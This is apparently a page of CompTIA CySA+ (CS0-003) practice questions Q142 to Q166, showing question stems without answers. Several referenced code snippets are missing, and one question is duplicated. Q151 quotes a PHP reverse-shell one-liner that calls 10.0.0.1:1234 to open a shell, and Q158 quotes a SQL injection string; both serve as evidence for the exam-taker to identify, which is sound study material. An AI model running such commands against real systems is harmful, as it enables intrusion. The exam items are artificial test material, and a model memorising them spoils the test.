Latest Verified & Correct CompTIA CS0-003 Questions & Answers Daily Updated [Q142-Q166]

Q142. After an incident, a security analyst needs to perform a forensic analysis to report complete information to a company stakeholder. Which of the following is most likely the goal of the forensic analysis in this case?

Q143. A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat. Which of the following is the best solution to secure the network?

Q144. A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway. Which of the following commands should the security analyst consider running?

Q145. A security analyst at a company is reviewing an alert from the file integrity monitoring indicating a mismatch in the login. html file hash. After comparing the code with the previous version of the page source code, the analyst found the following code snippet added:

Which of the following best describes the activity the analyst has observed?

Q146. Which of the following is the most likely reason for an organization to assign different internal departmental groups during the post-incident analysis and improvement process?

Q147. A security analyst is reviewing the following alert that was triggered by FIM on a critical system:

Which of the following best describes the suspicious activity that is occurring?

Q148. A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

Q149. A security analyst would like to integrate two different SaaS-based security tools so that one tool can notify the other in the event a threat is detected. Which of the following should the analyst utilize to best accomplish this goal?

Q150. A laptop that is company owned and managed is suspected to have malware. The company implemented centralized security logging. Which of the following log sources will confirm the malware infection?

Q151. While reviewing web server logs, a security analyst discovers the following suspicious line:
php -r ‘$socket=fsockopen(“10.0.0.1”, 1234); passthru (“/bin/sh -i
<&3 >&3 2>&3″);’
Which of the following is being attempted?

Q152. The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk?

Q153. A security analyst is validating a particular finding that was reported in a web application vulnerability scan to make sure it is not a false positive. The security analyst uses the snippet below:

Which of the following vulnerability types is the security analyst validating?

Q154. A security analyst is assisting a software engineer with the development of a custom log collection and alerting tool (SIEM) for a proprietary system. The analyst is concerned that the tool will not detect known attacks and behavioral IoCs. Which of the following should be configured in order to resolve this issue?

Q155. A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

Q156. A web application team notifies a SOC analyst that there are thousands of HTTP/404 events on the public-facing web server. Which of the following is the next step for the analyst to take?

Q157. An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?

Q158. K company has recently experienced a security breach via a public-facing service. Analysis of the event on the server was traced back to the following piece of code:
SELECT ‘ From userjdata WHERE Username = 0 and userid8 1 or 1=1;–
Which of the following controls would be best to implement?

Q159. A security analyst receives the below information about the company’s systems. They need to prioritize which systems should be given the resources to improve security.
Host
OS
Key Software
AV
Server 1
Windows Server 2008 R2
Microsoft IIS
Kaspersky
Server 2
Ubuntu Server 22.04 LTS
Apache 2.4.29
None
Computer 1
Windows 11 Professional
N/A
Windows Defender
Computer 2
Windows 10 Professional
N/A
Windows Defender
Which of the following systems should the analyst remediate first?

Q160. The Chief Information Security Officer (CISO) of a large management firm has selected a cybersecurity framework that will help the organization demonstrate its investment in tools and systems to protect its data.
Which of the following did the CISO most likely select?

Q161. Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?

Q162. Which of the following actions would an analyst most likely perform after an incident has been investigated?

Q163. A SIEM alert is triggered based on execution of a suspicious one-liner on two workstations in the organization’s environment. An analyst views the details of these events below:

Which of the following statements best describes the intent of the attacker, based on this one-liner?

Q164. A security analyst has found a moderate-risk item in an organization’s point-of-sale application. The organization is currently in a change freeze window and has decided that the risk is not high enough to correct at this time. Which of the following inhibitors to remediation does this scenario illustrate?

Q165. A security analyst reviews the following Arachni scan results for a web application that stores PII data:

Which of the following should be remediated first?

Q166. The vulnerability analyst reviews threat intelligence regarding emerging vulnerabilities affecting workstations that are used within the company:

Which of the following vulnerabilities should the analyst be most concerned about, knowing that end users frequently click on malicious links sent via email?